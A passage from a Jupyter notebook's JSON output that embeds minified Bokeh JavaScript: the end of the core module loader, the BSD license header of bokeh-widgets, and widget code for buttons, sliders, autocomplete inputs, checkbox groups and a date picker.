"core/util/typed_array\\\":43,\\\"core/util/types\\\":44,\\\"core/util/wheel\\\":45,\\\"core/util/zoom\\\":46,\\\"core/vectorization\\\":47,\\\"core/view\\\":48,\\\"core/visuals\\\":49,\\\"document/document\\\":50,\\\"document/events\\\":51,\\\"document/index\\\":52,\\\"embed/dom\\\":53,\\\"embed/index\\\":54,\\\"embed/notebook\\\":55,\\\"embed/server\\\":56,\\\"embed/standalone\\\":57,main:58,model:59,\\\"models/annotations/annotation\\\":60,\\\"models/annotations/arrow\\\":61,\\\"models/annotations/arrow_head\\\":62,\\\"models/annotations/band\\\":63,\\\"models/annotations/box_annotation\\\":64,\\\"models/annotations/color_bar\\\":65,\\\"models/annotations/index\\\":66,\\\"models/annotations/label\\\":67,\\\"models/annotations/label_set\\\":68,\\\"models/annotations/legend\\\":69,\\\"models/annotations/legend_item\\\":70,\\\"models/annotations/poly_annotation\\\":71,\\\"models/annotations/slope\\\":72,\\\"models/annotations/span\\\":73,\\\"models/annotations/text_annotation\\\":74,\\\"models/annotations/title\\\":75,\\\"models/annotations/toolbar_panel\\\":76,\\\"models/annotations/tooltip\\\":77,\\\"models/annotations/whisker\\\":78,\\\"models/axes/axis\\\":79,\\\"models/axes/categorical_axis\\\":80,\\\"models/axes/continuous_axis\\\":81,\\\"models/axes/datetime_axis\\\":82,\\\"models/axes/index\\\":83,\\\"models/axes/linear_axis\\\":84,\\\"models/axes/log_axis\\\":85,\\\"models/axes/mercator_axis\\\":86,\\\"models/callbacks/callback\\\":87,\\\"models/callbacks/customjs\\\":88,\\\"models/callbacks/index\\\":89,\\\"models/callbacks/open_url\\\":90,\\\"models/canvas/canvas\\\":91,\\\"models/canvas/cartesian_frame\\\":92,\\\"models/canvas/index\\\":93,\\\"models/expressions/cumsum\\\":94,\\\"models/expressions/expression\\\":95,\\\"models/expressions/index\\\":96,\\\"models/expressions/stack\\\":97,\\\"models/filters/boolean_filter\\\":98,\\\"models/filters/customjs_filter\\\":99,\\\"models/filters/filter\\\":100,\\\"models/filters/group_filter\\\":101,\\\"models/filters/index\\\":102,\\\"models/filters/index_filter\\\":103,\\\"models/formatters/basic_tick_formatter\\\":104,\\\"models/formatters/categorical_tick_formatter\\\":105,\\\"models/formatters/datetime_tick_formatter\\\":106,\\\"models/formatters/func_tick_formatter\\\":107,\\\"models/formatters/index\\\":108,\\\"models/formatters/log_tick_formatter\\\":109,\\\"models/formatters/mercator_tick_formatter\\\":110,\\\"models/formatters/numeral_tick_formatter\\\":111,\\\"models/formatters/printf_tick_formatter\\\":112,\\\"models/formatters/tick_formatter\\\":113,\\\"models/glyphs/annular_wedge\\\":114,\\\"models/glyphs/annulus\\\":115,\\\"models/glyphs/arc\\\":116,\\\"models/glyphs/bezier\\\":117,\\\"models/glyphs/box\\\":118,\\\"models/glyphs/center_rotatable\\\":119,\\\"models/glyphs/circle\\\":120,\\\"models/glyphs/ellipse\\\":121,\\\"models/glyphs/ellipse_oval\\\":122,\\\"models/glyphs/glyph\\\":123,\\\"models/glyphs/hbar\\\":124,\\\"models/glyphs/hex_tile\\\":125,\\\"models/glyphs/image\\\":126,\\\"models/glyphs/image_rgba\\\":127,\\\"models/glyphs/image_url\\\":128,\\\"models/glyphs/index\\\":129,\\\"models/glyphs/line\\\":130,\\\"models/glyphs/multi_line\\\":131,\\\"models/glyphs/multi_polygons\\\":132,\\\"models/glyphs/oval\\\":133,\\\"models/glyphs/patch\\\":134,\\\"models/glyphs/patches\\\":135,\\\"models/glyphs/quad\\\":136,\\\"models/glyphs/quadratic\\\":137,\\\"models/glyphs/ray\\\":138,\\\"models/glyphs/rect\\\":139,\\\"models/glyphs/segment\\\":140,\\\"models/glyphs/step\\\":141,\\\"models/glyphs/text\\\":142,\\\"models/glyphs/utils\\\":143,\\\"models/glyphs/vbar\\\":144,\\\"models/glyphs/wedge\\\":145,\\\"models/glyphs/xy_glyph\\\":146,\\\"models/graphs/graph_hit_test_policy\\\":147,\\\"models/graphs/index\\\":148,\\\"models/graphs/layout_provider\\\":149,\\\"models/graphs/static_layout_provider\\\":150,\\\"models/grids/grid\\\":151,\\\"models/grids/index\\\":152,\\\"models/index\\\":153,\\\"models/layouts/box\\\":154,\\\"models/layouts/column\\\":155,\\\"models/layouts/index\\\":156,\\\"models/layouts/layout_dom\\\":157,\\\"models/layouts/row\\\":158,\\\"models/layouts/spacer\\\":159,\\\"models/layouts/widget_box\\\":160,\\\"models/mappers/categorical_color_mapper\\\":161,\\\"models/mappers/categorical_mapper\\\":162,\\\"models/mappers/categorical_marker_mapper\\\":163,\\\"models/mappers/color_mapper\\\":164,\\\"models/mappers/continuous_color_mapper\\\":165,\\\"models/mappers/index\\\":166,\\\"models/mappers/linear_color_mapper\\\":167,\\\"models/mappers/log_color_mapper\\\":168,\\\"models/mappers/mapper\\\":169,\\\"models/markers/defs\\\":170,\\\"models/markers/index\\\":171,\\\"models/markers/marker\\\":172,\\\"models/markers/scatter\\\":173,\\\"models/plots/gmap_plot\\\":174,\\\"models/plots/gmap_plot_canvas\\\":175,\\\"models/plots/index\\\":176,\\\"models/plots/plot\\\":177,\\\"models/plots/plot_canvas\\\":178,\\\"models/ranges/data_range\\\":179,\\\"models/ranges/data_range1d\\\":180,\\\"models/ranges/factor_range\\\":181,\\\"models/ranges/index\\\":182,\\\"models/ranges/range\\\":183,\\\"models/ranges/range1d\\\":184,\\\"models/renderers/glyph_renderer\\\":185,\\\"models/renderers/graph_renderer\\\":186,\\\"models/renderers/guide_renderer\\\":187,\\\"models/renderers/index\\\":188,\\\"models/renderers/renderer\\\":189,\\\"models/scales/categorical_scale\\\":190,\\\"models/scales/index\\\":191,\\\"models/scales/linear_scale\\\":192,\\\"models/scales/log_scale\\\":193,\\\"models/scales/scale\\\":194,\\\"models/selections/index\\\":195,\\\"models/selections/interaction_policy\\\":196,\\\"models/selections/selection\\\":197,\\\"models/sources/ajax_data_source\\\":198,\\\"models/sources/cds_view\\\":199,\\\"models/sources/column_data_source\\\":200,\\\"models/sources/columnar_data_source\\\":201,\\\"models/sources/data_source\\\":202,\\\"models/sources/geojson_data_source\\\":203,\\\"models/sources/index\\\":204,\\\"models/sources/remote_data_source\\\":205,\\\"models/tickers/adaptive_ticker\\\":206,\\\"models/tickers/basic_ticker\\\":207,\\\"models/tickers/categorical_ticker\\\":208,\\\"models/tickers/composite_ticker\\\":209,\\\"models/tickers/continuous_ticker\\\":210,\\\"models/tickers/datetime_ticker\\\":211,\\\"models/tickers/days_ticker\\\":212,\\\"models/tickers/fixed_ticker\\\":213,\\\"models/tickers/index\\\":214,\\\"models/tickers/log_ticker\\\":215,\\\"models/tickers/mercator_ticker\\\":216,\\\"models/tickers/months_ticker\\\":217,\\\"models/tickers/single_interval_ticker\\\":218,\\\"models/tickers/ticker\\\":219,\\\"models/tickers/util\\\":220,\\\"models/tickers/years_ticker\\\":221,\\\"models/tiles/bbox_tile_source\\\":222,\\\"models/tiles/image_pool\\\":223,\\\"models/tiles/index\\\":224,\\\"models/tiles/mercator_tile_source\\\":225,\\\"models/tiles/quadkey_tile_source\\\":226,\\\"models/tiles/tile_renderer\\\":227,\\\"models/tiles/tile_source\\\":228,\\\"models/tiles/tile_utils\\\":229,\\\"models/tiles/tms_tile_source\\\":230,\\\"models/tiles/wmts_tile_source\\\":231,\\\"models/tools/actions/action_tool\\\":232,\\\"models/tools/actions/custom_action\\\":233,\\\"models/tools/actions/help_tool\\\":234,\\\"models/tools/actions/redo_tool\\\":235,\\\"models/tools/actions/reset_tool\\\":236,\\\"models/tools/actions/save_tool\\\":237,\\\"models/tools/actions/undo_tool\\\":238,\\\"models/tools/actions/zoom_in_tool\\\":239,\\\"models/tools/actions/zoom_out_tool\\\":240,\\\"models/tools/button_tool\\\":241,\\\"models/tools/edit/box_edit_tool\\\":242,\\\"models/tools/edit/edit_tool\\\":243,\\\"models/tools/edit/freehand_draw_tool\\\":244,\\\"models/tools/edit/point_draw_tool\\\":245,\\\"models/tools/edit/poly_draw_tool\\\":246,\\\"models/tools/edit/poly_edit_tool\\\":247,\\\"models/tools/edit/poly_tool\\\":248,\\\"models/tools/gestures/box_select_tool\\\":249,\\\"models/tools/gestures/box_zoom_tool\\\":250,\\\"models/tools/gestures/gesture_tool\\\":251,\\\"models/tools/gestures/lasso_select_tool\\\":252,\\\"models/tools/gestures/pan_tool\\\":253,\\\"models/tools/gestures/poly_select_tool\\\":254,\\\"models/tools/gestures/range_tool\\\":255,\\\"models/tools/gestures/select_tool\\\":256,\\\"models/tools/gestures/tap_tool\\\":257,\\\"models/tools/gestures/wheel_pan_tool\\\":258,\\\"models/tools/gestures/wheel_zoom_tool\\\":259,\\\"models/tools/index\\\":260,\\\"models/tools/inspectors/crosshair_tool\\\":261,\\\"models/tools/inspectors/customjs_hover\\\":262,\\\"models/tools/inspectors/hover_tool\\\":263,\\\"models/tools/inspectors/inspect_tool\\\":264,\\\"models/tools/on_off_button\\\":265,\\\"models/tools/tool\\\":266,\\\"models/tools/tool_proxy\\\":267,\\\"models/tools/toolbar\\\":268,\\\"models/tools/toolbar_base\\\":269,\\\"models/tools/toolbar_box\\\":270,\\\"models/tools/util\\\":271,\\\"models/transforms/customjs_transform\\\":272,\\\"models/transforms/dodge\\\":273,\\\"models/transforms/index\\\":274,\\\"models/transforms/interpolator\\\":275,\\\"models/transforms/jitter\\\":276,\\\"models/transforms/linear_interpolator\\\":277,\\\"models/transforms/step_interpolator\\\":278,\\\"models/transforms/transform\\\":279,polyfill:280,\\\"protocol/index\\\":281,\\\"protocol/message\\\":282,\\\"protocol/receiver\\\":283,safely:284,testing:285,version:286},r={},(l=(a=function(t){var e=null!=s[t]?s[t]:t;if(!r[e]){if(!o[e]){var i=new Error(\\\"Cannot find module '\\\"+t+\\\"'\\\");throw i.code=\\\"MODULE_NOT_FOUND\\\",i}var n=r[e]={exports:{}};o[e].call(n.exports,a,n,n.exports)}return r[e].exports})(58)).require=a,l.register_plugin=function(t,e,i){for(var n in t)o[n]=t[n];for(var n in e)s[n]=e[n];var r=a(i);for(var n in r)l[n]=r[n];return r},l)}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh.min.js.map\\n\",\n       \"      /* END bokeh.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh-widgets.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(t,e){var i;i=t.Bokeh,function(t,e,n){if(null!=i)return i.register_plugin(t,{\\\"core/menus\\\":400,\\\"models/widgets/abstract_button\\\":401,\\\"models/widgets/abstract_icon\\\":402,\\\"models/widgets/abstract_slider\\\":403,\\\"models/widgets/autocomplete_input\\\":404,\\\"models/widgets/button\\\":405,\\\"models/widgets/checkbox_button_group\\\":406,\\\"models/widgets/checkbox_group\\\":407,\\\"models/widgets/date_picker\\\":408,\\\"models/widgets/date_range_slider\\\":409,\\\"models/widgets/date_slider\\\":410,\\\"models/widgets/div\\\":411,\\\"models/widgets/dropdown\\\":412,\\\"models/widgets/index\\\":413,\\\"models/widgets/input_widget\\\":414,\\\"models/widgets/main\\\":415,\\\"models/widgets/markup\\\":416,\\\"models/widgets/multiselect\\\":417,\\\"models/widgets/panel\\\":418,\\\"models/widgets/paragraph\\\":419,\\\"models/widgets/password_input\\\":420,\\\"models/widgets/pretext\\\":421,\\\"models/widgets/radio_button_group\\\":422,\\\"models/widgets/radio_group\\\":423,\\\"models/widgets/range_slider\\\":424,\\\"models/widgets/selectbox\\\":425,\\\"models/widgets/slider\\\":426,\\\"models/widgets/tabs\\\":427,\\\"models/widgets/text_input\\\":428,\\\"models/widgets/toggle\\\":429,\\\"models/widgets/widget\\\":440},415);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({400:function(t,e,n){var i=t(19);n.clear_menus=new i.Signal0({},\\\"clear_menus\\\"),document.addEventListener(\\\"click\\\",function(){return n.clear_menus.emit()})},401:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(4),a=t(440),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.icon_views={},this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.remove=function(){s.remove_views(this.icon_views),n.prototype.remove.call(this)},t.prototype._render_button=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return o.button.apply(void 0,[{type:\\\"button\\\",disabled:this.model.disabled,class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]}].concat(t))},t.prototype.render=function(){var e=this;n.prototype.render.call(this),o.empty(this.el),this.buttonEl=this._render_button(this.model.label),this.buttonEl.addEventListener(\\\"click\\\",function(t){return e._button_click(t)}),this.el.appendChild(this.buttonEl);var t=this.model.icon;null!=t&&(s.build_views(this.icon_views,[t],{parent:this}),o.prepend(this.buttonEl,this.icon_views[t.id].el,o.nbsp))},t.prototype._button_click=function(t){t.preventDefault(),this.change_input()},t.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},t}(a.WidgetView);n.AbstractButtonView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractButton\\\",this.define({label:[r.String,\\\"Button\\\"],icon:[r.Instance],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(a.Widget);(n.AbstractButton=u).initClass()},402:function(t,e,n){var i=t(391),r=t(440),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e}(r.WidgetView);n.AbstractIconView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractIcon\\\"},t}(r.Widget);(n.AbstractIcon=s).initClass()},403:function(t,e,n){var i=t(391),f=t(431),r=t(15),m=t(5),v=t(14),g=t(21),y=t(25),o=t(440),s=function(p){function t(){return null!==p&&p.apply(this,arguments)||this}return i.__extends(t,p),t.prototype.initialize=function(t){p.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;p.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var r=this;if(null==this.sliderEl&&p.prototype.render.call(this),null!=this.model.callback){var t=function(){return r.model.callback.execute(r.model)};switch(this.model.callback_policy){case\\\"continuous\\\":this.callback_wrapper=t;break;case\\\"throttle\\\":this.callback_wrapper=y.throttle(t,this.model.callback_throttle)}}var e,o=\\\"bk-noUi-\\\",n=this._calc_to(),i=n.start,s=n.end,a=n.value,l=n.step;if(this.model.tooltips){var u={to:function(t){return r.model.pretty(t)}};e=g.repeat(u,a.length)}else e=!1;if(this.el.classList.add(\\\"bk-slider\\\"),null==this.sliderEl){this.sliderEl=m.div(),this.el.appendChild(this.sliderEl),f.create(this.sliderEl,{cssPrefix:o,range:{min:i,max:s},start:a,step:l,behaviour:this.model.behaviour,connect:this.model.connected,tooltips:e,orientation:this.model.orientation,direction:this.model.direction}),this.sliderEl.noUiSlider.on(\\\"slide\\\",function(t,e,n){return r._slide(n)}),this.sliderEl.noUiSlider.on(\\\"change\\\",function(t,e,n){return r._change(n)});var c=this.sliderEl.querySelector(\\\".\\\"+o+\\\"handle\\\");c.setAttribute(\\\"tabindex\\\",\\\"0\\\"),c.addEventListener(\\\"keydown\\\",function(t){var e=r._calc_to().value[0];switch(t.which){case 37:e=Math.max(e-l,i);break;case 39:e=Math.min(e+l,s);break;default:return}var n=r.model.pretty(e);v.logger.debug(\\\"[slider keypress] value = \\\"+n),r.model.value=e,r.sliderEl.noUiSlider.set(e),null!=r.valueEl&&(r.valueEl.textContent=n),null!=r.callback_wrapper&&r.callback_wrapper()});var d=function(t,e){var n=r.sliderEl.querySelectorAll(\\\".\\\"+o+\\\"handle\\\")[t],i=n.querySelector(\\\".\\\"+o+\\\"tooltip\\\");i.style.display=e?\\\"block\\\":\\\"\\\"};this.sliderEl.noUiSlider.on(\\\"start\\\",function(t,e){return d(e,!0)}),this.sliderEl.noUiSlider.on(\\\"end\\\",function(t,e){return d(e,!1)})}else this.sliderEl.noUiSlider.updateOptions({range:{min:i,max:s},start:a,step:l});if(null!=this.titleEl&&this.el.removeChild(this.titleEl),null!=this.valueEl&&this.el.removeChild(this.valueEl),null!=this.model.title&&(0!=this.model.title.length&&(this.titleEl=m.label({},this.model.title+\\\":\\\"),this.el.insertBefore(this.titleEl,this.sliderEl)),this.model.show_value)){var h=a.map(function(t){return r.model.pretty(t)}).join(\\\" .. \\\");this.valueEl=m.div({class:\\\"bk-slider-value\\\"},h),this.el.insertBefore(this.valueEl,this.sliderEl)}this.model.disabled||(this.sliderEl.querySelector(\\\".\\\"+o+\\\"connect\\\").style.backgroundColor=this.model.bar_color),this.model.disabled?this.sliderEl.setAttribute(\\\"disabled\\\",\\\"true\\\"):this.sliderEl.removeAttribute(\\\"disabled\\\")},t.prototype._slide=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");v.logger.debug(\\\"[slider slide] value = \\\"+i),null!=this.valueEl&&(this.valueEl.textContent=i),this.model.value=n,null!=this.callback_wrapper&&this.callback_wrapper()},t.prototype._change=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");switch(v.logger.debug(\\\"[slider change] value = \\\"+i),null!=this.valueEl&&(this.valueEl.dataset.value=i),this.model.value=n,this.model.callback_policy){case\\\"mouseup\\\":case\\\"throttle\\\":null!=this.model.callback&&this.model.callback.execute(this.model)}},t}(o.WidgetView);n.AbstractSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.connected=!1,e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"AbstractSlider\\\",this.define({title:[r.String,\\\"\\\"],show_value:[r.Bool,!0],start:[r.Any],end:[r.Any],value:[r.Any],step:[r.Number,1],format:[r.String],orientation:[r.Orientation,\\\"horizontal\\\"],direction:[r.Any,\\\"ltr\\\"],tooltips:[r.Boolean,!0],callback:[r.Instance],callback_throttle:[r.Number,200],callback_policy:[r.String,\\\"throttle\\\"],bar_color:[r.Color,\\\"#e6e6e6\\\"]})},t.prototype._formatter=function(t,e){return\\\"\\\"+t},t.prototype.pretty=function(t){return this._formatter(t,this.format)},t}(o.Widget);(n.AbstractSlider=a).initClass()},404:function(t,e,n){var i=t(391),r=t(428),s=t(5),o=t(400),a=t(15),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),o.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;n.prototype.render.call(this),this.inputEl.classList.add(\\\"bk-autocomplete-input\\\"),this.inputEl.addEventListener(\\\"keydown\\\",function(t){return e._keydown(t)}),this.inputEl.addEventListener(\\\"keyup\\\",function(t){return e._keyup(t)}),this.menuEl=s.ul({class:\\\"bk-bs-dropdown-menu\\\"}),this.menuEl.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),this.el.appendChild(this.menuEl)},t.prototype._render_items=function(t){s.empty(this.menuEl);for(var e=0,n=t;e<n.length;e++){var i=n[e],r=s.li({},s.a({data:{text:i}},i));this.menuEl.appendChild(r)}},t.prototype._open_menu=function(){this.el.classList.add(\\\"bk-bs-open\\\")},t.prototype._clear_menu=function(){this.el.classList.remove(\\\"bk-bs-open\\\")},t.prototype._item_click=function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=e.dataset.text;this.model.value=n}},t.prototype._keydown=function(t){},t.prototype._keyup=function(t){switch(t.keyCode){case s.Keys.Enter:console.log(\\\"enter\\\");break;case s.Keys.Esc:this._clear_menu();break;case s.Keys.Up:case s.Keys.Down:console.log(\\\"up/down\\\");break;default:var e=this.inputEl.value;if(e.length<=1)return void this._clear_menu();for(var n=[],i=0,r=this.model.completions;i<r.length;i++){var o=r[i];-1!=o.indexOf(e)&&n.push(o)}0==n.length?this._clear_menu():(this._render_items(n),this._open_menu())}},t}(r.TextInputView);n.AutocompleteInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AutocompleteInput\\\",this.prototype.default_view=l,this.define({completions:[a.Array,[]]}),this.internal({active:[a.Boolean,!0]})},t}(r.TextInput);(n.AutocompleteInput=u).initClass()},405:function(t,e,n){var i=t(391),r=t(15),o=t(3),s=t(401),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){this.model.trigger_event(new o.ButtonClick({})),this.model.clicks=this.model.clicks+1,t.prototype.change_input.call(this)},e}(s.AbstractButtonView);n.ButtonView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Button\\\",this.prototype.default_view=a,this.define({clicks:[r.Number,0]}),o.register_with_event(o.ButtonClick,this)},t}(s.AbstractButton);(n.Button=l).initClass()},406:function(t,e,n){var i=t(391),l=t(5),r=t(15),u=t(21),o=t(440),s=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var i=this;n.prototype.render.call(this),l.empty(this.el);var r=l.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(r);for(var o=this.model.active,s=this.model.labels,t=function(t){var e=l.input({type:\\\"checkbox\\\",value:\\\"\\\"+t,checked:t in o});e.addEventListener(\\\"change\\\",function(){return i.model.change_input(t)});var n=l.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+a.model.button_type]},e,s[t]);u.includes(o,t)&&n.classList.add(\\\"bk-bs-active\\\"),r.appendChild(n)},a=this,e=0;e<s.length;e++)t(e)},t}(o.WidgetView);n.CheckboxButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.prototype.change_input=function(e){var t=u.copy(this.active);u.includes(t,e)?u.removeBy(t,function(t){return e==t}):t.push(e),t.sort(),this.active=t,null!=this.callback&&this.callback.execute(this)},t.initClass=function(){this.prototype.type=\\\"CheckboxButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxButtonGroup=a).initClass()},407:function(t,e,n){var i=t(391),u=t(5),r=t(15),c=t(21),o=t(440),s=function(l){function t(){return null!==l&&l.apply(this,arguments)||this}return i.__extends(t,l),t.prototype.initialize=function(t){l.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;l.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;l.prototype.render.call(this),u.empty(this.el);for(var e=this.model.active,n=this.model.labels,i=0;i<n.length;i++){var r=n[i],o=u.input({type:\\\"checkbox\\\",value:\\\"\\\"+i});o.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(o.disabled=!0),c.includes(e,i)&&(o.checked=!0);var s=u.label({},o,r);if(this.model.inline)s.classList.add(\\\"bk-bs-checkbox-inline\\\"),this.el.appendChild(s);else{var a=u.div({class:\\\"bk-bs-checkbox\\\"},s);this.el.appendChild(a)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e,null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.CheckboxGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxGroup=a).initClass()},408:function(t,e,n){var i=t(391),r=t(414),o=t(5),s=t(15),a=t(432);a.prototype.adjustPosition=function(){if(!this._o.container){this.el.style.position=\\\"absolute\\\";var t=this._o.trigger,e=this.el.offsetWidth,n=this.el.offsetHeight,i=window.innerWidth||document.documentElement.clientWidth,r=window.innerHeight||document.documentElement.clientHeight,o=window.pageYOffset||document.body.scrollTop||document.documentElement.scrollTop,s=t.getBoundingClientRect(),a=s.left+window.pageXOffset,l=s.bottom+window.pageYOffset;a-=this.el.parentElement.offsetLeft,l-=this.el.parentElement.offsetTop,(this._o.reposition&&i<a+e||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-e+t.offsetWidth)&&(a=a-e+t.offsetWidth),(this._o.reposition&&r+o<l+n||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-n-t.offsetHeight)&&(l=l-n-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}};var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},e.prototype.render=function(){var e=this;t.prototype.render.call(this),null!=this._picker&&this._picker.destroy(),o.empty(this.el),this.labelEl=o.label({},this.model.title),this.el.appendChild(this.labelEl),this.inputEl=o.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",disabled:this.model.disabled}),this.el.appendChild(this.inputEl),this._picker=new a({field:this.inputEl,defaultDate:new Date(this.model.value),setDefaultDate:!0,minDate:null!=this.model.min_date?new Date(this.model.min_date):void 0,maxDate:null!=this.model.max_date?new Date(this.model.max_date):void 0,onSelect:function(t){return e._on_select(t)}}),this._root_element.appendChild(this._picker.el)},e.prototype._on_select=function(t){this.model.value=t.toDateString(),this.change_input()},e}(r.InputWidgetView);n.DatePickerView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatePicker\\\",this.prototype.default_view=l,this.define({value:[s.Any,(new Date).toDateString()],min_date:[s.Any],max_date:[s.Any]})},t}(r.InputWidget);(n.DatePicker=u).initClass()},409:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.DateRangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateRangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateRangeSlider=a).initClass()},410:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return e},e}(o.AbstractSliderView);n.DateSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return 